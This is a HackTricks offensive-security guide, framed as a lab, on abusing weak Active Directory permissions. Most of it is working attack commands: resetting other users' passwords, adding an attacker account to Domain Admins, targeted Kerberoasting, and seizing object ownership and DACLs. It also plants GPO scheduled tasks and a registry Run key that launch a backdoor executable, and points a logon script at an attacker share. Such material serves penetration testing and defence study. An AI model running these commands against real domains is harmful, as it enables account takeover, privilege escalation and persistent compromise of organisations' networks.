hacktricks/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

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# Abusing Active Directory ACLs/ACEs
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<details>
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</details>
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## Context
This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists (DACLs) and Acccess Control Entries (ACEs) that make up DACLs.
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Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects (i.e change account name, reset password, etc).
An example of ACEs for the "Domain Admins" securable object can be seen here:
![](<../../../.gitbook/assets/1 (1).png>)
Some of the Active Directory object permissions and types that we as attackers are interested in:
* **GenericAll** - full rights to the object (add users to a group or reset user's password)
* **GenericWrite** - update object's attributes (i.e logon script)
* **WriteOwner** - change object owner to attacker controlled user take over the object
* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
* **AllExtendedRights** - ability to add user to a group or reset password
* **ForceChangePassword** - ability to change user's password
* **Self (Self-Membership)** - ability to add yourself to a group
In this lab, we are going to explore and try to exploit most of the above ACEs.
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It's worth familiarizing yourself with all of the [BloodHound edges](https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html) and as many Active Directory [Extended Rights](https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights) as possible as you never know when you may encounter a less common one during an assessment.
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## GenericAll on User
Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`:
```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}
```
We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:
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![](../../../.gitbook/assets/2.png)
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* **Change password**: You could just change the password of that user with
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```bash
net user <username> <password> /domain
```
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* **Targeted Kerberoasting**: You could make the user **kerberoastable** setting an **SPN** on the account, kerberoast it and attempt to crack offline:
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```powershell
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# Set SPN
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
# Get Hash
.\Rubeus.exe kerberoast /user:<username> /nowrap
# Clean SPN
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
# You can also use the tool https://github.com/ShutdownRepo/targetedKerberoast
# to get hashes of one or all the users
python3 targetedKerberoast.py -domain.local -u <username> -p password -v
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```
* **Targeted ASREPRoasting**: You could make the user **ASREPRoastable** by **disabling** **preauthentication** and then ASREProast it.
```powershell
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
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## GenericAll on Group
Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`:
```csharp
Get-NetGroup "domain admins" -FullData
```
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![](../../../.gitbook/assets/4.png)
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
```
We can see that our attacking user `spotless` has `GenericAll` rights once again:
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![](../../../.gitbook/assets/5.png)
Effectively, this allows us to add ourselves (the user `spotless`) to the `Domain Admin` group:
```csharp
net group "domain admins" spotless /add /domain
```
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![](../../../.gitbook/assets/6.gif)
Same could be achieved with Active Directory or PowerSploit module:
```csharp
# with active directory module
Add-ADGroupMember -Identity "domain admins" -Members spotless
# with Powersploit
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
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## GenericAll / GenericWrite / Write on Computer/User
* If you have these privileges on a **Computer object**, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](../resource-based-constrained-delegation.md) off.
* If you have these privs over a user, you can use one of the [first methods explained in this page](./#genericall-on-user).
* Or, either you have it in a Computer or a user you can use **Shadow Credentials** to impersonate it:
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{% content-ref url="shadow-credentials.md" %}
[shadow-credentials.md](shadow-credentials.md)
{% endcontent-ref %}
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## WriteProperty on Group
If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:
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![](../../../.gitbook/assets/7.png)
We can again add ourselves to the `Domain Admins` group and escalate privileges:
```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
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![](../../../.gitbook/assets/8.png)
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## Self (Self-Membership) on Group
Another privilege that enables the attacker adding themselves to a group:
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![](../../../.gitbook/assets/9.png)
```csharp
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
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![](../../../.gitbook/assets/10.png)
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## WriteProperty (Self-Membership)
One more privilege that enables the attacker adding themselves to a group:
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```
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![](../../../.gitbook/assets/11.png)
```csharp
net group "domain admins" spotless /add /domain
```
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![](../../../.gitbook/assets/12.png)
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## **ForceChangePassword**
If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:
```csharp
Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
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![](../../../.gitbook/assets/13.png)
Doing the same with powerview:
```csharp
Set-DomainUserPassword -Identity delegate -Verbose
```
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![](../../../.gitbook/assets/14.png)
Another method that does not require fiddling with password-secure-string conversion:
```csharp
$c = Get-Credential
Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
```
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![](../../../.gitbook/assets/15.png)
...or a one liner if no interactive session is not available:
```csharp
Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
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![](../../../.gitbook/assets/16.png)
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and one last way yo achieve this from linux:
```markup
rpcclient -U KnownUsername 10.10.10.192
> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
```
More info:
* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
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* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
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## WriteOwner on Group
Note how before the attack the owner of `Domain Admins` is `Domain Admins`:
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![](../../../.gitbook/assets/17.png)
After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`
```csharp
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
```
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![](../../../.gitbook/assets/18.png)
...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:
```csharp
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
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//You can also use the name instad of the SID (HTB: Reel)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
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![](../../../.gitbook/assets/19.png)
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## GenericWrite on User
```csharp
Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
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![](../../../.gitbook/assets/20.png)
`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:
```csharp
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:
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![](../../../.gitbook/assets/21.png)
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## GenericWrite on Group
This allows you to set as members of the group new users (yourself for example):
```powershell
# Create creds
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
# Add user to group
Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
# Check user was added
Get-DomainGroupMember -Identity "Group Name" | Select MemberName
# Remove group member
Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
```
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## WriteDACL + WriteOwner
If you are the owner of a group, like I'm the owner of a `Test` AD group:
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![](../../../.gitbook/assets/22.png)
Which you can of course do through powershell:
```csharp
([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
```
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![](../../../.gitbook/assets/23.png)
And you have a `WriteDACL` on that AD object:
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![](../../../.gitbook/assets/24.png)
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...you can give yourself [`GenericAll`](../../../windows/active-directory-methodology/broken-reference/) privileges with a sprinkle of ADSI sorcery:
```csharp
$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
$ADSI.psbase.commitchanges()
```
Which means you now fully control the AD object:
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![](../../../.gitbook/assets/25.png)
This effectively means that you can now add new users to the group.
Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:
```csharp
$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
$acl = Get-Acl -Path $path
$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
$acl.AddAccessRule($ace)
Set-Acl -Path $path -AclObject $acl
```
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![](../../../.gitbook/assets/26.png)
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## **Replication on the domain (DCSync)**
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The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.\
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[**Learn more about the DCSync attack here.**](../dcsync.md)
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## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:
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![](../../../.gitbook/assets/a13.png)
We can see this by leveraging PowerView like so:
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse:
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![](../../../.gitbook/assets/a14.png)
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### Enumerate GPO Permissions <a href="#abusing-the-gpo-permissions" id="abusing-the-gpo-permissions"></a>
We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:
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![](../../../.gitbook/assets/a15.png)
If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
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```powershell
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
```
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![](../../../.gitbook/assets/a16.png)
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**Computers with a Given Policy Applied**
We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:
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```powershell
Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
```
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![](../../../.gitbook/assets/a17.png)
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**Policies Applied to a Given Computer**
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```powershell
Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
```
![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBOmSsNrObOboiT2E%2FScreenshot%20from%202019-01-16%2019-44-19.png?alt=media\&token=34332022-c1fc-4f97-a7e9-e0e4d98fa8a5)
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**OUs with a Given Policy Applied**
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```powershell
Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
```
![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBtLT332kTVDzd5qV%2FScreenshot%20from%202019-01-16%2019-46-33.png?alt=media\&token=ec90fdc0-e0dc-4db0-8279-cde4720df598)
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### **Abuse GPO -** [New-GPOImmediateTask](https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1)
One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
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```powershell
New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
```
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![](../../../.gitbook/assets/a19.png)
The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`:
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![](../../../.gitbook/assets/a20.png)
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### GroupPolicy module **- Abuse GPO**
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{% hint style="info" %}
You can check to see if the GroupPolicy module is installed with `Get-Module -List -Name GroupPolicy | select -expand ExportedCommands`. In a pinch, you can install it with `Install-WindowsFeature Name GPMC` as a local admin.
{% endhint %}
```powershell
# Create new GPO and link it with the OU Workstrations
New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
# Make the computers inside Workstrations create a new reg key that will execute a backdoor
## Search a shared folder where you can write and all the computers affected can read
Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
```
This payload, after the GPO is updated, will need also someone to login inside the computer.
### [**SharpGPOAbuse**](https://github.com/FSecureLABS/SharpGPOAbuse) **- Abuse GPO**
{% hint style="info" %}
It cannot create GPOs, so we must still do that with RSAT or modify one we already have write access to.
{% endhint %}
```bash
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
```
### Force Policy Update <a href="#force-policy-update" id="force-policy-update"></a>
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The previous abusive **GPO updates are reloaded** roughly each 90 minutes.\
if you have access to the computer you can force it with `gpupdate /force` .
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### Under the hood <a href="#under-the-hood" id="under-the-hood"></a>
If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:
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![](../../../.gitbook/assets/a22.png)
Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:
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{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml" %}
```markup
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
<Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>NT AUTHORITY\System</Author>
<Description></Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
<LogonType>S4U</LogonType>
</Principal>
</Principals>
<Settings>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<AllowStartOnDemand>false</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
<RestartOnFailure>
<Interval>PT15M</Interval>
<Count>3</Count>
</RestartOnFailure>
</Settings>
<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c net localgroup administrators spotless /add</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary>
<EndBoundary>%LocalTimeXmlEx%</EndBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
```
{% endcode %}
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### Users and Groups <a href="#users-and-groups" id="users-and-groups"></a>
The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`:
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{% code title="\offense.local\SysVol\offense.local\Policies\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\Machine\Preferences\Groups" %}
```markup
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="spotless" action="ADD" sid="" />
</Members>
</Properties>
</Group>
</Groups>
```
{% endcode %}
Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
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## References
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* Initially, this information was mostly copied from [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
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* [https://wald0.com/?p=112](https://wald0.com/?p=112)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2)
* [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
* [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
* [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_)
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